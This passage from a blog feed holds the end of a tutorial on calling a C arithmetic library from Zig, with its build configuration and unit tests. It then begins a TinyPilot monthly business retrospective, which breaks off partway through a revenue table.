&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ zig build run
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#3677a9">5&lt;/span> + &lt;span style="color:#40ffff">16&lt;/span> = &lt;span style="color:#3677a9">21&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Cool, but my goal is to call into C code from Zig, not just rewrite everything in Zig. Next, I&amp;rsquo;ll figure out how to replace my Zig implementation of &lt;code>add&lt;/code> with the native C implementation.&lt;/p>
&lt;p>The complete example at this stage &lt;a href="https://github.com/mtlynch/zig-c-simple/tree/30-zig-main">is on GitHub&lt;/a>.&lt;/p>
&lt;h2 id="linking-a-zig-application-against-a-native-c-library">Linking a Zig application against a native C library&lt;/h2>
&lt;p>Okay, everything so far has been basic &amp;ldquo;hello, world!&amp;rdquo; kind of stuff. Now, we&amp;rsquo;re at the part that has been my stumbling block previously: calling into native C code from Zig.&lt;/p>
&lt;p>First, I&amp;rsquo;ll reorganize my files to separate my Zig code from my C code. Here&amp;rsquo;s my new folder layout:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>c-src/
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> arithmetic.c
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> arithmetic.h
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> main.c
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>src/
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> main.zig
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>build.zig
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Next, I adjust my &lt;code>build.zig&lt;/code> so that my Zig application has access to my C source files:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-zig" data-lang="zig">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>exe&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>b.&lt;span style="color:#447fcf">addExecutable&lt;/span>(.{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>.name&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;zig-c-simple&amp;#34;&lt;/span>,&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>.root_source_file&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>b.&lt;span style="color:#447fcf">path&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;src/main.zig&amp;#34;&lt;/span>),&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>.target&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>target,&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>.optimize&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>optimize,&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>});&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>exe.&lt;span style="color:#447fcf">addIncludePath&lt;/span>(b.&lt;span style="color:#447fcf">path&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;c-src&amp;#34;&lt;/span>));&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#999;font-style:italic">// Look for C source files
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>And I do the same thing for Zig&amp;rsquo;s unit test build target:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-zig" data-lang="zig">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>unit_tests&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>b.&lt;span style="color:#447fcf">addTest&lt;/span>(.{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>.root_source_file&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>b.&lt;span style="color:#447fcf">path&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;src/main.zig&amp;#34;&lt;/span>),&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>.target&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>target,&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>.optimize&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>optimize,&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>});&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>unit_tests.&lt;span style="color:#447fcf">addIncludePath&lt;/span>(b.&lt;span style="color:#447fcf">path&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;c-src&amp;#34;&lt;/span>));&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#999;font-style:italic">// Look for C source files
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I&amp;rsquo;ve now adjusted my Zig build so that it has access to my C arithmetic library, but I haven&amp;rsquo;t called the library yet. To complete this example, I need to make the following change to my &lt;code>src/main.zig&lt;/code> file:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-zig" data-lang="zig">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// src/main.zig
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>arithmetic&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#24909d">@cImport&lt;/span>({&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#24909d">@cInclude&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;arithmetic.c&amp;#34;&lt;/span>);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>});&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">fn&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">add&lt;/span>(x:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">i32&lt;/span>,&lt;span style="color:#666"> &lt;/span>y:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">i32&lt;/span>)&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">i32&lt;/span>&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">return&lt;/span>&lt;span style="color:#666"> &lt;/span>arithmetic.&lt;span style="color:#447fcf">add&lt;/span>(x,&lt;span style="color:#666"> &lt;/span>y);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The above change replaces my Zig-native implementation of the &lt;code>add&lt;/code> function with a wrapper to call the native C &lt;code>add&lt;/code> function in my &lt;code>arithmetic.c&lt;/code> file.&lt;/p>
&lt;p>Now is the moment of truth. Does everything compile and run as expected?&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ zig build run
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#3677a9">5&lt;/span> + &lt;span style="color:#40ffff">16&lt;/span> = &lt;span style="color:#3677a9">21&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Cool, it works!&lt;/p>
&lt;p>And I&amp;rsquo;ll try my unit test as well:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ zig build &lt;span style="color:#24909d">test&lt;/span> --summary all
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Build Summary: 3/3 steps succeeded; 1/1 tests passed
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">test&lt;/span> success
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>└─ run &lt;span style="color:#24909d">test&lt;/span> &lt;span style="color:#3677a9">1&lt;/span> passed 1ms MaxRSS:1M
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> └─ zig &lt;span style="color:#24909d">test&lt;/span> Debug native success 2s MaxRSS:201M
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Unit tests are passing as well. Everything looks great!&lt;/p>
&lt;h2 id="is-zig-really-calling-c">Is Zig really calling C?&lt;/h2>
&lt;p>I&amp;rsquo;ve tried calling C code from other programming languages, and it&amp;rsquo;s never been this easy. I worried that I was somehow tricking myself, and Zig wasn&amp;rsquo;t &lt;em>really&lt;/em> calling my C code, so I deliberately introduced a bug into my C code:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-c" data-lang="c">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// arithemtic.c
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">int&lt;/span> &lt;span style="color:#447fcf">add&lt;/span>(&lt;span style="color:#6ab825;font-weight:bold">int&lt;/span> x, &lt;span style="color:#6ab825;font-weight:bold">int&lt;/span> y) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> x + y - &lt;span style="color:#3677a9">1&lt;/span>; &lt;span style="color:#999;font-style:italic">// Intentionally return incorrect results.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>If my Zig application is really calling into C, then my Zig unit test should fail because the underlying C code is now incorrect.&lt;/p>
&lt;p>I ran my unit tests to see what would happen:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ zig build &lt;span style="color:#24909d">test&lt;/span> --summary all
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">test&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>└─ run &lt;span style="color:#24909d">test&lt;/span> 0/1 passed, &lt;span style="color:#3677a9">1&lt;/span> failed
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>error: &lt;span style="color:#ed9d13">&amp;#39;main.test.test add&amp;#39;&lt;/span> failed: expected 21, found &lt;span style="color:#3677a9">20&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>/nix/store/dzdlr4lms4wgjvi02r1pcqh54iiq9pn5-zig-0.14.0/lib/zig/std/testing.zig:103:17: 0x1048bad in expectEqualInner__anon_421 (&lt;span style="color:#24909d">test&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> error.TestExpectedEqual;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ^
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>/tmp/tmp.LCH7Soiq5V/src/main.zig:25:5: 0x1048c7f in test.test add (&lt;span style="color:#24909d">test&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> try std.testing.expectEqual(@as(i32, 21), add(5, 16));
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ^
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>error: &lt;span style="color:#6ab825;font-weight:bold">while&lt;/span> executing &lt;span style="color:#24909d">test&lt;/span> &lt;span style="color:#ed9d13">&amp;#39;main.test.test add&amp;#39;&lt;/span>, the following &lt;span style="color:#24909d">test&lt;/span> &lt;span style="color:#24909d">command&lt;/span> failed:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>/tmp/tmp.LCH7Soiq5V/.zig-cache/o/ab02faa31a7c5067027f9f3a2e4ce1f9/test --seed=0x4b485ae6 --cache-dir=/tmp/tmp.LCH7Soiq5V/.zig-cache --listen=-
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Build Summary: 1/3 steps succeeded; &lt;span style="color:#3677a9">1&lt;/span> failed; 0/1 tests passed; &lt;span style="color:#3677a9">1&lt;/span> failed
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">test&lt;/span> transitive failure
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>└─ run &lt;span style="color:#24909d">test&lt;/span> 0/1 passed, &lt;span style="color:#3677a9">1&lt;/span> failed
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> └─ zig &lt;span style="color:#24909d">test&lt;/span> Debug native success 1s MaxRSS:257M
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>error: the following build &lt;span style="color:#24909d">command&lt;/span> failed with &lt;span style="color:#24909d">exit&lt;/span> code 1:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>/tmp/tmp.LCH7Soiq5V/.zig-cache/o/159f82a7dcc12c245254f0919e2ecdf2/build /nix/store/dzdlr4lms4wgjvi02r1pcqh54iiq9pn5-zig-0.14.0/bin/zig /nix/store/dzdlr4lms4wgjvi02r1pcqh54iiq9pn5-zig-0.14.0/lib/zig /tmp/tmp.LCH7Soiq5V /tmp/tmp.LCH7Soiq5V/.zig-cache /home/mike/.cache/zig --seed 0x4b485ae6 -Zabdc51211068b123 &lt;span style="color:#24909d">test&lt;/span> --summary all
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Great! That test failed as expected with the error &lt;code>expected 21, found 20&lt;/code>. The unit test correctly identified the bug I introduced into my C &lt;code>add&lt;/code> function.&lt;/p>
&lt;h2 id="is-zig-following-header-references">Is Zig following header references?&lt;/h2>
&lt;p>The other piece of this solution that works surprisingly well is that I can reference the function through the &lt;code>.h&lt;/code> file. I haven&amp;rsquo;t done C/C++ programming in a long time, but my memory is that importing by a &lt;code>.c&lt;/code> file isn&amp;rsquo;t possible, so it&amp;rsquo;s surprising how easy it is in Zig.&lt;/p>
&lt;p>To test whether Zig is cheating somehow, I added a new function and preprocessor macro to my &lt;code>arithmetic.h&lt;/code> header:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-c" data-lang="c">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// arithmetic.h
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#cd2828;font-weight:bold">#define INCREMENT_AMOUNT 1
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#cd2828;font-weight:bold">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">int&lt;/span> &lt;span style="color:#447fcf">increment&lt;/span>(&lt;span style="color:#6ab825;font-weight:bold">int&lt;/span> x);
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>And I add this new function definition to &lt;code>arithmetic.c&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-c" data-lang="c">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// arithemtic.c
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">int&lt;/span> &lt;span style="color:#447fcf">increment&lt;/span>(&lt;span style="color:#6ab825;font-weight:bold">int&lt;/span> x) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> x + INCREMENT_AMOUNT;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Finally, I add a quick unit test for this new function in my &lt;code>src/main.zig&lt;/code> file:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-zig" data-lang="zig">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">test&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;test increment&amp;#34;&lt;/span>&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">try&lt;/span>&lt;span style="color:#666"> &lt;/span>std.testing.&lt;span style="color:#447fcf">expectEqual&lt;/span>(&lt;span style="color:#24909d">@as&lt;/span>(&lt;span style="color:#6ab825;font-weight:bold">i32&lt;/span>,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#3677a9">6&lt;/span>),&lt;span style="color:#666"> &lt;/span>arithmetic.&lt;span style="color:#447fcf">increment&lt;/span>(&lt;span style="color:#3677a9">5&lt;/span>));&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>If Zig is ignoring the C header &lt;code>#include&lt;/code> directives, this should either cause a compilation error or my tests should stop passing. Time to run the new test:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ zig build &lt;span style="color:#24909d">test&lt;/span> --summary all
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Build Summary: 3/3 steps succeeded; 2/2 tests passed
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">test&lt;/span> success
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>└─ run &lt;span style="color:#24909d">test&lt;/span> &lt;span style="color:#3677a9">2&lt;/span> passed 830us MaxRSS:1M
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> └─ zig &lt;span style="color:#24909d">test&lt;/span> Debug native success 2s MaxRSS:201M
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>It passed! This shows that Zig has a convenient feature of following &lt;code>#include&lt;/code> references in my C sources, which makes calling into C code easier than any other language I&amp;rsquo;ve used.&lt;/p>
&lt;h2 id="summary">Summary&lt;/h2>
&lt;p>This article showed the simplest example I could think of for showing how to call C code from Zig.&lt;/p>
&lt;p>Using this technique, it&amp;rsquo;s possible to port a piece of a C library to the Zig build system and then use Zig to call into that library.&lt;/p>
&lt;h2 id="source-code">Source code&lt;/h2>
&lt;p>The full source code is available on GitHub. I split it up into the different stages of the project:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://github.com/mtlynch/zig-c-simple/tree/10-pure-c">Stage 1: The Pure C Implementation&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/mtlynch/zig-c-simple/tree/20-zig-compile">Stage 2: Compiling C with Zig&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/mtlynch/zig-c-simple/tree/30-zig-main">Stage 3: Create an Equivalent Zig Implementation&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/mtlynch/zig-c-simple/tree/40-zig-call-c">Stage 4: Call into the C Library from the Zig Application&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/mtlynch/zig-c-simple/tree/50-test-include-references">Stage 5: Verify that Zig is Following &lt;code>#include&lt;/code> References&lt;/a>&lt;/li>
&lt;/ul>
&lt;hr>
&lt;p>&lt;em>Thanks to &lt;a href="https://www.bortzmeyer.org">Stéphane Bortzmeyer&lt;/a> and &lt;a href="https://github.com/IntegratedQuantum">IntegratedQuantum&lt;/a> for &lt;a href="https://ziggit.dev/t/a-simple-example-of-calling-a-c-library-from-zig/2225/3?u=mtlynch">offering suggestions&lt;/a> that helped me simplify this solution. Thanks to &lt;a href="https://github.com/dbrtly">Daniel Bartley&lt;/a> for updating the solution to Zig 0.14.0.&lt;/em>&lt;/p></content:encoded></item><item><title>TinyPilot: Month 40</title><link>https://mtlynch.io/retrospectives/2023/11/</link><pubDate>Tue, 07 Nov 2023 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2023/11/</guid><description>&lt;div class="notice notice-info">
 &lt;p>&lt;strong>New here?&lt;/strong>&lt;/p>
&lt;p>Hi, I&amp;rsquo;m Michael. I&amp;rsquo;m a software developer and the founder of &lt;a href="https://tinypilotkvm.com">TinyPilot&lt;/a>, an independent computer hardware company. I started the company in 2020, and it now earns $80-100k/month in revenue and employs six other people.&lt;/p>
&lt;p>Every month, I publish a retrospective like this one to share how things are going with my business and my professional life overall.&lt;/p>

&lt;/div>

&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>TinyPilot had its second-strongest month of revenue of all time.&lt;/li>
&lt;li>TinyPilot has almost finished transitioning manufacturing to a third-party vendor.&lt;/li>
&lt;li>I may have crossed into the dark side of mechanical keyboards.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p></description><content:encoded>&lt;div class="notice notice-info">
 &lt;p>&lt;strong>New here?&lt;/strong>&lt;/p>
&lt;p>Hi, I&amp;rsquo;m Michael. I&amp;rsquo;m a software developer and the founder of &lt;a href="https://tinypilotkvm.com">TinyPilot&lt;/a>, an independent computer hardware company. I started the company in 2020, and it now earns $80-100k/month in revenue and employs six other people.&lt;/p>
&lt;p>Every month, I publish a retrospective like this one to share how things are going with my business and my professional life overall.&lt;/p>

&lt;/div>

&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>TinyPilot had its second-strongest month of revenue of all time.&lt;/li>
&lt;li>TinyPilot has almost finished transitioning manufacturing to a third-party vendor.&lt;/li>
&lt;li>I may have crossed into the dark side of mechanical keyboards.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="shift-manufacturing-to-our-contract-manufacturer-as-quickly-as-possible">Shift manufacturing to our contract manufacturer as quickly as possible&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: We had a minor issue with the first batch, but we should be completing the shift soon.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: B&lt;/li>
&lt;/ul>
&lt;p>We received our first production batch of devices from our contract manufacturer, and we&amp;rsquo;re shipping them to customers in November.&lt;/p>
&lt;p>I was hoping the batch would be perfect and we could declare the shift complete. Sadly, there was &lt;a href="#trying-to-get-microsds-right-with-the-new-manufacturer">a minor error&lt;/a> in the assembly process that we had to fix at our office, so we&amp;rsquo;re still not yet at the point where we have a smooth pipeline from manufacturer to warehouse to customer.&lt;/p>
&lt;h3 id="reduce-manual-effort-from-tinypilots-software-release-process">Reduce manual effort from TinyPilot&amp;rsquo;s software release process&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: We eliminated a manual release task that was bound to me.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>I&amp;rsquo;m always looking for ways to automate and simplify TinyPilot&amp;rsquo;s software release process. I&amp;rsquo;m especially interested in ways to eliminate myself from the critical path of TinyPilot&amp;rsquo;s routine workflows. In October, we made progress on both by automating how we update the TinyPilot website when a new version of TinyPilot Pro is available.&lt;/p>
&lt;p>It used to be that I&amp;rsquo;d cut the release and then manually update the website to point to the new download URLs. Now, the website is sync&amp;rsquo;ed to our update service, so it discovers new releases automatically.&lt;/p>
&lt;h3 id="create-a-plan-for-better-enforcement-of-tinypilot-pro-licenses">Create a plan for better enforcement of TinyPilot Pro licenses&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: We haven&amp;rsquo;t made progress on a plan.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: F&lt;/li>
&lt;/ul>
&lt;p>The dev team has had less availability than I was expecting for October, so we ended up not making progress on a plan for license enforcement.&lt;/p>
&lt;h2 id="tinypilot-stats">&lt;a href="https://tinypilotkvm.com/">TinyPilot&lt;/a> stats&lt;/h2>
&lt;div class="finances-chart">
 &lt;canvas id="tinypilot-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>September 2023&lt;/th>
 &lt;th>October 2023&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>6,200&lt;/td>
 &lt;td>8,700&lt;/td>
 &lt;td>&lt;font color="green">+2,500 (+40%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Sales Revenue&lt;/td>
 &lt;td>$83,380.02&lt;/td>
 &lt;td>$98,896.81&lt;/td>
 &lt;td>&lt;font color="green">+$15,516.79 (+19%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Enterprise Subscriptions&lt;/td>
 &lt;td>$290.70&lt;/td>
 &lt;td>$290.70&lt;/td>
 &lt;td>0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Royalties&lt;/td>
 &lt;td>$2,056.30&lt;/td>
 &lt;td>$2,609.84&lt;/td>
 &lt;td>&lt;font color="green">+$553.54 (+27%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Revenue&lt;/td>
 &lt;td>$85,727.02&lt;/td>
 &lt;td>$101,797.35&lt;/td>
